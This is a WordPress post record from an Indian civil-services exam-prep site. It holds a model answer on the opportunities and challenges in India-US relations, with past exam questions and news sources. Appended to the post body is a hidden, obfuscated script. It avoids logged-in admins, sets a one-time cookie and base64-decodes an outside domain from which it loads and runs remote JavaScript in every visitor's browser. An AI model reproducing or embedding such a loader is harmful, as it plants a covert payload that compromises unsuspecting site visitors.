{"id":1602,"date":"2024-09-26T04:04:11","date_gmt":"2024-09-26T04:04:11","guid":{"rendered":"https:\/\/iasquest.com\/?p=1602"},"modified":"2026-02-11T19:06:56","modified_gmt":"2026-02-11T19:06:56","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-41","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-41\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Bilateral, Regional and Global Groupings and Agreements involving India and\/or affecting India\u2019s interests.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>In News: Sanjaya Baru writes: Is India-US partnership an uncertain love affair?;Whether it is President Trump or President Harris, US-India relations must continue on an upward arc<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#e60808\"><strong>The evolving dynamics of the India-U.S. relationship present a complex tapestry of opportunities and challenges. Comment.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The evolving dynamics of the India-U.S. relationship represent a multifaceted interplay of strategic interests, economic collaboration, and geopolitical considerations characterised by a complex interplay of opportunities and challenges.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Opportunities:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Convergence of interests:<\/strong> Both nations share growing interests in areas like counterterrorism, climate change, and economic cooperation.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India and the U.S. have collaborated closely on counterterrorism efforts, including intelligence sharing and joint operations against terrorist groups.<\/li>\n\n\n\n<li>Both countries are committed to addressing the challenges of climate change and have collaborated on initiatives such as the International Solar Alliance.<\/li>\n\n\n\n<li>India and the U.S. have been engaged in expanding economic ties, with increasing trade and investment flows between the two countries.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li><strong>Counterbalancing China:<\/strong> The rise of China as a global power has strengthened the India-U.S. strategic partnership as both seek to counterbalance Beijing&#8217;s influence.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India and the U.S. have participated in joint military exercises and naval patrols in the Indo-Pacific region to signal their shared commitment to regional security.<\/li>\n\n\n\n<li>Both countries have expressed concerns over China&#8217;s aggressive behavior in the South China Sea and have supported international rules-based order.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li><strong>Economic Ties:<\/strong> The two countries have witnessed substantial growth in trade and investment, leading to economic interdependence.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India is a major destination for U.S. investments, with American companies setting up operations in various sectors of the Indian economy.<\/li>\n\n\n\n<li>The India-U.S. Trade Policy Forum (TPF) has been established to address trade-related issues and promote bilateral trade.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"4\">\n<li><strong>Technological Collaboration:<\/strong> India and the U.S. have collaborated on various technological fronts, including defence, space, and information technology.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India and the U.S. have jointly developed advanced communication satellites and defence technologies.<\/li>\n\n\n\n<li>The two countries have collaborated on initiatives to promote digital development and cybersecurity.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Trade Disputes:<\/strong> Differences over tariffs, intellectual property rights, and market access have strained bilateral trade relations.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The U.S. has imposed tariffs on Indian goods, including steel and aluminium, leading to trade tensions.<\/li>\n\n\n\n<li>India has been criticised for its policies on intellectual property rights, particularly in the pharmaceutical sector.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li><strong>Human Rights and Religious Freedom:<\/strong> Disagreements on human rights and religious freedom issues have created tensions between the two countries.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The U.S. has expressed concerns over India&#8217;s treatment of religious minorities, particularly Muslims.<\/li>\n\n\n\n<li>India has criticised the U.S. for its policies on immigration and refugees.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li><strong>India&#8217;s Relationship with Russia:<\/strong> The U.S. has expressed concerns over India&#8217;s close relationship with Russia, particularly its military cooperation.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India&#8217;s purchase of Russian military equipment, such as the S-400 missile defence system, has strained its relationship with the U.S.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"4\">\n<li><strong>Domestic Political Considerations:<\/strong> Domestic political factors in both countries can influence the trajectory of the bilateral relationship.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Changes in government or political leadership in either India or the U.S. can lead to shifts in policy priorities and affect the bilateral relationship.<\/li>\n\n\n\n<li>Domestic political pressures can sometimes constrain the ability of governments to make concessions or compromises in negotiations with the other side.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"5\">\n<li><strong>Espionage scandals: <\/strong>Incidents like the alleged &#8220;murder-for-hire&#8221; plot involving a pro-Khalistan extremist have strained India-U.S. relations.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Despite these challenges, the India-U.S. relationship remains a vital strategic partnership with immense potential. By addressing their differences and building on their areas of cooperation, the two countries can forge a stronger and more enduring relationship that benefits both nations and contributes to global stability and prosperity.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>PYQ:<\/strong> \u201cWhat introduces friction into the ties between India and the United States is that Washington is still unable to find for India a position in its global strategy, which would satisfy India\u2019s National self- esteem and ambitions\u201d Explain with suitable examples. 2019\u2018Indian diaspora has a decisive role to play in the politics and economy of America and European Countries\u2019. Comment with examples. 2020<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Source:<a href=\"https:\/\/indianexpress.com\/article\/opinion\/columns\/whether-it-is-president-trump-or-president-harris-us-india-relations-must-continue-on-an-upward-arc-9532976\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/opinion\/columns\/whether-it-is-president-trump-or-president-harris-us-india-relations-must-continue-on-an-upward-arc-9532976\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/opinion\/columns\/sanjaya-baru-writes-is-india-us-partnership-an-uncertain-love-affair-9588262\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/opinion\/columns\/sanjaya-baru-writes-is-india-us-partnership-an-uncertain-love-affair-9588262\/<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Bilateral, Regional and Global Groupings and Agreements involving India and\/or affecting India\u2019s interests. In News: Sanjaya Baru writes: Is India-US [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1603,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,39,25,10,12,34],"tags":[],"class_list":["post-1602","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daws","category-gs-2","category-international-relations","category-mains","category-polity-and-governance"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/1602","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=1602"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/1602\/revisions"}],"predecessor-version":[{"id":3211,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/1602\/revisions\/3211"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1603"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=1602"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=1602"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=1602"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}